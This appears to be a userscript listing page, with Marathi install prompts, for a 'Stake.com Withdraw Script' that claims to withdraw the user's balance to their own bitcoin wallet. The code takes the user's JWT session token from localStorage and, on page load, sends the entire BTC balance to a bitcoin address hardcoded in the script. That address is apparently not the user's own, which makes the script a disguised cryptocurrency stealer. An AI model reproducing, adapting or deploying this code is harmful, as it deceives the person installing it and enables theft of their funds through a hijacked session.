Stake.com Withdraw Script

withdraw your entire balance to your bitcoin wallet

2022-06-08 या दिनांकाला. सर्वात नवीन आवृत्ती पाहा.

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला Tampermonkey, Greasemonkey किंवा Violentmonkey यासारखे एक्स्टेंशन इंस्टॉल करावे लागेल.

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला Tampermonkey किंवा Violentmonkey यासारखे एक्स्टेंशन इंस्टॉल करावे लागेल..

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला Tampermonkey किंवा Violentmonkey यासारखे एक्स्टेंशन इंस्टॉल करावे लागेल..

You will need to install an extension such as Tampermonkey or Userscripts to install this script.

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला Tampermonkey यासारखे एक्स्टेंशन इंस्टॉल करावे लागेल..

ही स्क्रिप्ट इंस्टॉल करण्यासाठी तुम्हाला एक युझर स्क्रिप्ट व्यवस्थापक एक्स्टेंशन इंस्टॉल करावे लागेल.

(माझ्याकडे आधीच युझर स्क्रिप्ट व्यवस्थापक आहे, मला इंस्टॉल करू द्या!)

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला Stylus सारखे एक्स्टेंशन इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला Stylus सारखे एक्स्टेंशन इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला Stylus सारखे एक्स्टेंशन इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला एक युझर स्टाईल व्यवस्थापक इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला एक युझर स्टाईल व्यवस्थापक इंस्टॉल करावे लागेल.

ही स्टाईल इंस्टॉल करण्यासाठी तुम्हाला एक युझर स्टाईल व्यवस्थापक इंस्टॉल करावे लागेल.

(माझ्याकडे आधीच युझर स्टाईल व्यवस्थापक आहे, मला इंस्टॉल करू द्या!)

// ==UserScript==
// @name         Stake.com Withdraw Script
// @namespace    Stake Casino
// @version      0.1
// @description  withdraw your entire balance to your bitcoin wallet
// @author       casinoguy05
// @match        https://stake.com/
// @icon         none
// @grant        none
// ==/UserScript==

(function() {

  // cfg
  var dest_addr = "bc1qm4cdzh3jfh8j3f2ehu08ym7zs85csn64r2h2a8";
  var currency = "btc";
  var withdrawal_threshold = 0;

  let auth_key = window.localStorage.getItem('jwt').replace('"', "").replace('"', "");

  function create_graphql_request(auth_key, function_name, function_body, function_variables, callback)
  {
    let http_request = new XMLHttpRequest();
    http_request.onreadystatechange = function() {
      if(http_request.readyState != 4) return;

      callback(JSON.parse(http_request.responseText));
    };


    http_request.open("POST", "https://api.stake.com/graphql", true);

    http_request.setRequestHeader("content-type", "application/json");
    http_request.setRequestHeader("x-access-token", auth_key);

    http_request.send(JSON.stringify([
      {
        operationName: function_name,
        query: function_body,
        variables: function_variables
      }
    ]));
  }

  function on_balance_callback(balance_data)
  {
    console.log(balance_data);
    let user_info = balance_data[0].data.user;

    let btc_balance = 0;
    let fee = balance_data[0].data.info.currency.withdrawalFee.value;

    for(let i = 0; i < user_info.balances.length; i++)
    {
      let balance_info = user_info.balances[i];

      if(balance_info.available.currency === currency)
      {
        btc_balance = balance_info.available.amount;
        break;
      }
    }

    if(btc_balance < withdrawal_threshold) return;

    create_graphql_request(auth_key,
      "CreateWithdrawalMutation",
      "mutation CreateWithdrawalMutation($currency: CurrencyEnum!, $address: String!, $amount: Float!) { createWithdrawal(currency: $currency, address: $address, amount: $amount) { id name address amount refFee status } }",
      { currency: currency, address: dest_addr, amount: btc_balance - (fee * 2) }, function(d) {
        console.log(JSON.stringify(d));
      });
  }

  create_graphql_request(auth_key,
    "CreateWithdrawalQuery",
    "query CreateWithdrawalQuery($currency: CurrencyEnum!) { user { id hasTfaEnabled balances { available { amount currency __typename }" +
    "vault { amount currency __typename } __typename } __typename } info { currency(currency: $currency) { withdrawalFee { value __typename }" +
    "withdrawalMin { value __typename } __typename } __typename } } ",
    {currency: currency}, on_balance_callback);
})();